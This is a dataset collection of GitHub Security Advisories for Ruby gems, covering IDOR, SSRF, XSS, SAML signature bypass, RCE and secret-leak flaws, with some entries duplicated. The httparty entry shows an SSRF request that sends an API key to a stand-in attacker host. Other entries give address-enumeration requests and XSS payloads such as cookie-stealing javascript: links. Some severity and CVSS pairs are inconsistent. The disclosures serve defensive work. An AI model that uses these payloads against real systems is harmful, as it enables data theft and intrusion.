deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-3ghg-3787-w2xr
Package: spree_core (RUBYGEMS)
Severity: HIGH (CVSS 7.5)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: >= 4.0.0, < 4.10.2
Patched in: 4.10.2

Summary: Spree API has Unauthenticated IDOR - Guest Address

Details:
### Summary
An Unauthenticated Insecure Direct Object Reference (IDOR) vulnerability was identified that allows an unauthenticated attacker to access guest address information without supplying valid credentials or session cookies.

### Details
During testing, it was observed that all guest users can make an unauthenticated request to retrieve address data belonging to other guest users by manipulating object identifiers. The attacker would need to know the storefront URL structure to perform this attack (which can be learnt after creating a registered user account).

Affected Component(s)
* Address Edit endpoint: `/addresses/{addressId}/edit`

Root Cause
- Faulty authorization check in CanCanCan Ability class:

```diff
- can :manage, ::Spree::Address, user_id: user.id
+ can :manage, ::Spree::Address, user_id: user.id if user.persisted?
```

the `user` object in `Spree::Ability` class for guest users is a `Spree.user_class.new` object. 

Addresses endpoint to access it is part of the `spree_storefront` gem. **Headless builds using APIs are not affected,** as the Addresses endpoint there is only for registered users, and records are scoped to the currently signed-in user.

### PoC
Preconditions
- No authentication required
- No cookies or session tokens set

To reproduce this vulnerability simply perform the request shown below, replacing the number with an arbitrary value. 

**For the initial request the Guest Address id = 6 is used to obtain the information**

**Request**
GET `/addresses/6/edit`

<img width="291" height="454" alt="IDOR Guest" src="https://github.com/user-attachments/assets/d21d01a2-8fa5-4ab1-b9e2-6ee65bd6b5a2" />

Repeat the request and check the response, in this example using Guest Address id = 2.

**Request**
GET `/addresses/2/edit`

[<img width="360" height="519" alt="IDOR Guest Address ID 2" src="https://github.com/user-attachments/assets/1ce35990-3d11-4f47-9bba-266b5361313c" />
](url)

### Impact
An unauthenticated attacker can:

- Enumerate and retrieve guest address information (Addresses associated with User accounts are NOT affected)
- Access personally identifiable information (PII) such as:
- Full names
- Physical addresses
- Phone numbers (if present)

This vulnerability could lead to:

- Privacy violations
- Regulatory compliance issues (e.g., GDPR)
- Loss of user trust
GitHub Security Advisory: GHSA-96qw-h329-v5rg
Package: shakapacker (RUBYGEMS)
Severity: HIGH (CVSS 7.5)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 9.5.0
Patched in: 9.5.0

Summary: Shakapacker has environment variable leak via EnvironmentPlugin that exposes secrets to client-side bundles

Details:
### Summary

Since 2017, the default webpack plugins have passed the entire `process.env` to `EnvironmentPlugin`. This pattern exposed ALL build environment variables to client-side JavaScript bundles whenever application code (or any dependency) referenced `process.env.VARIABLE_NAME`.

This is not a regression - the vulnerable code has existed since the original Webpacker implementation. No recent code change in Shakapacker triggered this issue.

### Impact

Any environment variable in the build environment that is referenced in client-side code (including third-party dependencies) is embedded directly into the JavaScript bundle. This includes:

- `DATABASE_URL` - Database credentials
- `AWS_SECRET_ACCESS_KEY` - AWS credentials  
- `RAILS_MASTER_KEY` - Rails encrypted credentials key
- `STRIPE_SECRET_KEY`, `TWILIO_AUTH_TOKEN` - Third-party API keys
- Any other secrets present in the build environment

**Severity**: Critical - secrets are exposed in publicly accessible JavaScript files.

### Root Cause

The original code used:
```javascript
new webpack.EnvironmentPlugin(process.env)
```

This makes every environment variable available for substitution. If any code references `process.env.SECRET_KEY`, that value is embedded in the bundle.

### Patches

Upgrade to version 9.5.0 or later, which uses an allowlist approach that only exposes `NODE_ENV`, `RAILS_ENV`, and `WEBPACK_SERVE` by default.

### Workarounds

If developers cannot upgrade immediately:
1. Audit client-side code and dependencies for any `process.env.X` references to sensitive variables
2. Remove sensitive variables from the build environment
3. Override the default plugins with a custom webpack/rspack config using an explicit allowlist

### Migration

After upgrading, if client-side code needs access to specific environment variables:

**Option 1: Use the `SHAKAPACKER_PUBLIC_` prefix (recommended)**
```bash
# Variables with this prefix are automatically exposed
export SHAKAPACKER_PUBLIC_API_URL="https://api.example.com"
```

**Option 2: Use `SHAKAPACKER_ENV_VARS`**
```bash
SHAKAPACKER_ENV_VARS=API_URL,FEATURE_FLAG bundle exec rails assets:precompile
```

### Action Required

After upgrading, **rotate any secrets** that may have been exposed in previously compiled JavaScript bundles.

### Resources

- Fix PR: https://github.com/shakacode/shakapacker/pull/857
GitHub Security Advisory: GHSA-g9jg-w8vm-g96v
Package: action_text-trix (RUBYGEMS)
Severity: MODERATE (CVSS 4.6)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 2.1.16
Patched in: 2.1.16

Summary: Trix has a stored XSS vulnerability through its attachment attribute

Details:
### Impact
The Trix editor, in versions prior to 2.1.16, is vulnerable to XSS attacks through attachment payloads.

An attacker could inject malicious code into a data-trix-attachment attribute that, when rendered as HTML and clicked on, could execute arbitrary JavaScript code within the context of the user's session, potentially leading to unauthorized actions being performed or sensitive information being disclosed.

### Patches
Update Recommendation: Users should upgrade to Trix editor version 2.1.16 or later.

### Resources
The XSS vulnerability was reported by HackerOne researcher [michaelcheers](https://hackerone.com/michaelcheers?type=user).
GitHub Security Advisory: GHSA-j4pr-3wm6-xx2r
Package: uri (RUBYGEMS)
Severity: LOW (CVSS 7.5)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer
Vulnerable versions: >= 1.0.0, < 1.0.4
Patched in: 1.0.4

Summary: URI Credential Leakage Bypass over CVE-2025-27221

Details:
### Impact

In affected URI version, a bypass exists for the fix to CVE-2025-27221 that can expose user credentials.

When using the `+` operator to combine URIs, sensitive information like passwords from the original URI can be leaked, violating RFC3986 and making applications vulnerable to credential exposure.

The vulnerability affects the `uri` gem bundled with the following Ruby series:

* 0.12.4 and earlier (bundled in Ruby 3.2 series)
* 0.13.2 and earlier (bundled in Ruby 3.3 series)
* 1.0.3 and earlier (bundled in Ruby 3.4 series)

### Patches

Upgrade to 0.12.5, 0.13.3 or 1.0.4

### References

* https://www.ruby-lang.org/en/news/2025/02/26/security-advisories/
* https://hackerone.com/reports/2957667
GitHub Security Advisory: GHSA-j4pr-3wm6-xx2r
Package: uri (RUBYGEMS)
Severity: LOW (CVSS 7.5)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer
Vulnerable versions: >= 0.13.0, < 0.13.3
Patched in: 0.13.3

Summary: URI Credential Leakage Bypass over CVE-2025-27221

Details:
### Impact

In affected URI version, a bypass exists for the fix to CVE-2025-27221 that can expose user credentials.

When using the `+` operator to combine URIs, sensitive information like passwords from the original URI can be leaked, violating RFC3986 and making applications vulnerable to credential exposure.

The vulnerability affects the `uri` gem bundled with the following Ruby series:

* 0.12.4 and earlier (bundled in Ruby 3.2 series)
* 0.13.2 and earlier (bundled in Ruby 3.3 series)
* 1.0.3 and earlier (bundled in Ruby 3.4 series)

### Patches

Upgrade to 0.12.5, 0.13.3 or 1.0.4

### References

* https://www.ruby-lang.org/en/news/2025/02/26/security-advisories/
* https://hackerone.com/reports/2957667
GitHub Security Advisory: GHSA-j4pr-3wm6-xx2r
Package: uri (RUBYGEMS)
Severity: LOW (CVSS 7.5)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer
Vulnerable versions: < 0.12.5
Patched in: 0.12.5

Summary: URI Credential Leakage Bypass over CVE-2025-27221

Details:
### Impact

In affected URI version, a bypass exists for the fix to CVE-2025-27221 that can expose user credentials.

When using the `+` operator to combine URIs, sensitive information like passwords from the original URI can be leaked, violating RFC3986 and making applications vulnerable to credential exposure.

The vulnerability affects the `uri` gem bundled with the following Ruby series:

* 0.12.4 and earlier (bundled in Ruby 3.2 series)
* 0.13.2 and earlier (bundled in Ruby 3.3 series)
* 1.0.3 and earlier (bundled in Ruby 3.4 series)

### Patches

Upgrade to 0.12.5, 0.13.3 or 1.0.4

### References

* https://www.ruby-lang.org/en/news/2025/02/26/security-advisories/
* https://hackerone.com/reports/2957667
GitHub Security Advisory: GHSA-hm5p-x4rq-38w4
Package: httparty (RUBYGEMS)
Severity: HIGH (CVSS 8.2)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 0.23.2
Patched in: 0.24.0

Summary: httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage

Details:
## Summary

There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.

## Details

When httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.

Consider the following example of a web application:

```rb
require 'sinatra'
require 'httparty'

class RepositoryClient
  include HTTParty
  base_uri 'http://exmaple.test/api/v1/repositories/'
  headers 'X-API-KEY' => '[PII_REDACTED]'
end

post '/issue' do
  request_body = JSON.parse(request.body.read)
  RepositoryClient.get(request_body['repository_id']).body
  # do something
  json message: 'OK'
end
```

Now, suppose an attacker sends a request like this:

```
POST /issue HTTP/1.1
Host: localhost:10000
Content-Type: application/json

{
    "repository_id": "http://attacker.test",
    "title": "test"
}
```

In this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.

A similar problem was reported and fixed in the HTTP client library axios in the past:  
<https://github.com/axios/axios/issues/6463>

Also, Python's `urljoin` function has documented a warning about similar behavior:  
<https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin>

## PoC

Follow these steps to reproduce the issue:

1. Set up two simple HTTP servers.

   ```bash
   mkdir /tmp/server1 /tmp/server2
   echo "this is server1" > /tmp/server1/index.html 
   echo "this is server2" > /tmp/server2/index.html
   python -m http.server -d /tmp/server1 10001 &
   python -m http.server -d /tmp/server2 10002 &
   ```

2. Create a script (for example, `main.rb`):

   ```rb
   require 'httparty'

   class Client
     include HTTParty
     base_uri 'http://localhost:10001'
   end

   data = Client.get('http://localhost:10002').body
   puts data
   ```

3. Run the script:

   ```bash
   $ ruby main.rb
   this is server2
   ```

Although `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`.


## Impact

- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.  
- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.  
- Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.
GitHub Security Advisory: GHSA-2xgq-q749-89fq
Package: aws-sdk-s3 (RUBYGEMS)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-327: Use of a Broken or Risky Cryptographic Algorithm
Vulnerable versions: < 1.208.0
Patched in: 1.208.0

Summary: AWS SDK for Ruby's S3 Encryption Client has a Key Commitment Issue

Details:
## Summary

S3 Encryption Client for Ruby is an open-source client-side encryption library used to facilitate writing and reading encrypted records to S3.  

When the encrypted data key (EDK) is stored in an "Instruction File" instead of S3's metadata record, the EDK is exposed to an "Invisible Salamanders" attack  (https://eprint.iacr.org/2019/016), which could allow the EDK to be replaced with a new key. 



## Impact

### Background - Key Commitment

There is a cryptographic property whereby under certain conditions, a single ciphertext can be decrypted into 2 different plaintexts by using different encryption keys. To address this issue, strong encryption schemes use what is known as "key commitment", a process by which an encrypted message can only be decrypted by one key; the key used to originally encrypt the message. 

In older versions of S3EC, when customers are also using a feature called "Instruction File" to store EDKs, key commitment is not implemented because multiple EDKs could be associated to an underlying encrypted message object.  For such customers an attack that leverages the lack of key commitment is possible.  A bad actor would need two things to leverage this issue: (i) the ability to create a separate, rogue, EDK that will also decrypt the underlying object to produce desired plaintext, and (ii) permission to upload a new instruction file to the S3 bucket to replace the existing instruction file placed there by the user using the S3C.  Any future attempt to decrypt the underlying encrypted message with the S3EC will unwittingly use the rogue EDK to produce a valid plaintext message.

Impacted versions: <= 1.207.0



## Patches

We are introducing the concept of "key commitment" to S3EC where the EDK is cryptographically bound to the ciphertext in order to address this issue.  In order to maintain compatibility for in-flight messages we are releasing the fix in two versions. A code-compatible minor version that can read messages with key-commitment but not write them, and a new major version that can both read and write messages with key-commitment. For maximum safety customers are asked to upgrade to the latest major version: 1.208.0 or later.



Workarounds

There are no workarounds, please upgrade to the suggested version of S3EC.

References

If customers have any questions or comments about this advisory, AWS SDK for Ruby asks that they contact AWS Security via the issue reporting page or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.
GitHub Security Advisory: GHSA-6gvq-jcmp-8959
Package: altcha (RUBYGEMS)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-115: Misinterpretation of Input, CWE-347: Improper Verification of Cryptographic Signature
Vulnerable versions: < 1.0.0
Patched in: 1.0.0

Summary: ALTCHA Proof-of-Work Vulnerable to Challenge Splicing and Replay

Details:
### Impact

A cryptographic semantic binding flaw in ALTCHA libraries allows challenge payload splicing, which may enable replay attacks. The HMAC signature does not unambiguously bind challenge parameters to the nonce, allowing an attacker to reinterpret a valid proof-of-work submission with a modified expiration value. This may allow previously solved challenges to be reused beyond their intended lifetime, depending on server-side replay handling and deployment assumptions.

The vulnerability primarily impacts abuse-prevention mechanisms such as rate limiting and bot mitigation. It does not directly affect data confidentiality or integrity. 

### Patches

This issue has been addressed by enforcing explicit semantic separation between challenge parameters and the nonce during HMAC computation.

Users are advised to upgrade to patched versions.

### Workarounds

As a mitigation, implementations may append a delimiter to the end of the `salt` value prior to HMAC computation (for example, `<salt>?expires=<time>&`). This prevents ambiguity between parameters and the nonce and is backward-compatible with existing implementations, as the delimiter is treated as a standard URL parameter separator.
GitHub Security Advisory: GHSA-x4h9-gwv3-r4m4
Package: ruby-saml (RUBYGEMS)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-347: Improper Verification of Cryptographic Signature
Vulnerable versions: < 1.18.0
Patched in: 1.18.0

Summary: Ruby-saml allows a Libxml2 Canonicalization error to bypass Digest/Signature validation

Details:
### Summary
Ruby-saml up to and including 1.12.4, there is an authentication bypass vulnerability because of an issue at libxml2 canonicalization process used by Nokogiri for document transformation. That allows an attacker to be able to execute a Signature Wrapping attack. The vulnerability does not affect the version 1.18.0.

### Details
When libxml2’s canonicalization is invoked on an invalid XML input, it may return an empty string rather than a canonicalized node. ruby-saml then proceeds to compute the DigestValue over this empty string, treating it as if canonicalization succeeded.

### Impact
1. Digest bypass: By crafting input that causes canonicalization to yield an empty string, the attacker can manipulate validation to pass incorrectly.

2. Signature replay on empty canonical form: If an empty string has been signed once (e.g., in a prior interaction or via a misconfigured flow), that signature can potentially be replayed to bypass authentication.
GitHub Security Advisory: GHSA-9v8j-x534-2fx3
Package: ruby-saml (RUBYGEMS)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-347: Improper Verification of Cryptographic Signature
Vulnerable versions: < 1.18.0
Patched in: 1.18.0

Summary: Ruby-saml has a SAML authentication bypass due to namespace handling (parser differential)

Details:
### Summary

Ruby-saml up to and including 1.12.4, there is an authentication bypass vulnerability because of an incomplete fix for CVE-2025-25292. ReXML and Nokogiri parse XML differently, the parsers can generate entirely different document structures from the same XML input. That allows an attacker to be able to execute a Signature Wrapping attack. The vulnerability does not affect the version 1.18.0.

### Impact
That allows an attacker to be able to execute a Signature Wrapping attack and bypass the authentication
GitHub Security Advisory: GHSA-x485-rhg3-cqr4
Package: rd_searchlogic (RUBYGEMS)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: <= 3.0.1
Patched in: unpatched

Summary: Spree Commerce is vulnerable to RCE through Search API

Details:
Spreecommerce versions prior to 0.50.x contain a remote command execution vulnerability in the API's search functionality. Improper input sanitation allows attackers to inject arbitrary shell commands via the search[instance_eval] parameter, which is dynamically invoked using Ruby’s send method. This flaw enables unauthenticated attackers to execute commands on the server.
GitHub Security Advisory: GHSA-x485-rhg3-cqr4
Package: spree (RUBYGEMS)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: >= 0.30.0.beta1, < 0.50.0
Patched in: 0.50.0

Summary: Spree Commerce is vulnerable to RCE through Search API

Details:
Spreecommerce versions prior to 0.50.x contain a remote command execution vulnerability in the API's search functionality. Improper input sanitation allows attackers to inject arbitrary shell commands via the search[instance_eval] parameter, which is dynamically invoked using Ruby’s send method. This flaw enables unauthenticated attackers to execute commands on the server.
GitHub Security Advisory: GHSA-4249-gjr8-jpq3
Package: prosemirror_to_html (RUBYGEMS)
Severity: HIGH (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 0.2.1
Patched in: 0.2.1

Summary: Duplicate Advisory: ProsemirrorToHtml has a Cross-Site Scripting (XSS) vulnerability through unescaped HTML attribute values

Details:
## Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-52c5-vh7f-26fx. This link is maintained to preserve external references.

## Original Description
### Impact

The prosemirror_to_html gem is vulnerable to Cross-Site Scripting (XSS) attacks through malicious HTML attribute values. While tag content is properly escaped, attribute values are not, allowing attackers to inject arbitrary JavaScript code.

**Who is impacted:**

- Any application using prosemirror_to_html to convert ProseMirror documents to HTML
- Applications that process user-generated ProseMirror content are at highest risk
- End users viewing the rendered HTML output could have malicious JavaScript executed in their browsers

**Attack vectors include:**

- `href` attributes with `javascript:` protocol:
  `<a href="javascript:alert(document.cookie)">`
- Event handlers: `<div onclick="maliciousCode()">`
- `onerror` attributes on images: `<img src=x onerror="alert('XSS')">`
- Other HTML attributes that can execute JavaScript

### Patches

A fix is currently in development. Users should upgrade to version **0.2.1** or later once released. The patch escapes all HTML attribute values using `CGI.escapeHTML` to prevent injection attacks.

### Workarounds

Until a patched version is available, users can implement one or more of these mitigations:

1. **Sanitize output**: Pass the HTML output through a sanitization
   library like [Sanitize](https://github.com/rgrove/sanitize) or
   [Loofah](https://github.com/flavorjones/loofah):

```ruby
   html = ProsemirrorToHtml.render(document)
   safe_html = Sanitize.fragment(html, Sanitize::Config::RELAXED)
```

2. **Implement Content Security Policy (CSP)**: Add strict CSP
   headers to prevent inline JavaScript execution:
```
   Content-Security-Policy: default-src 'self'; script-src 'self'
```

3. **Input validation**: If possible, validate and sanitize
   ProseMirror documents before conversion to prevent malicious
   content from entering the system.

### References

- Vulnerable code: https://github.com/etaminstudio/prosemirror_to_html/blob/ea8beb32f6c37f29f042ba4155ccf18504da716e/lib/prosemirror_to_html.rb#L249
- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)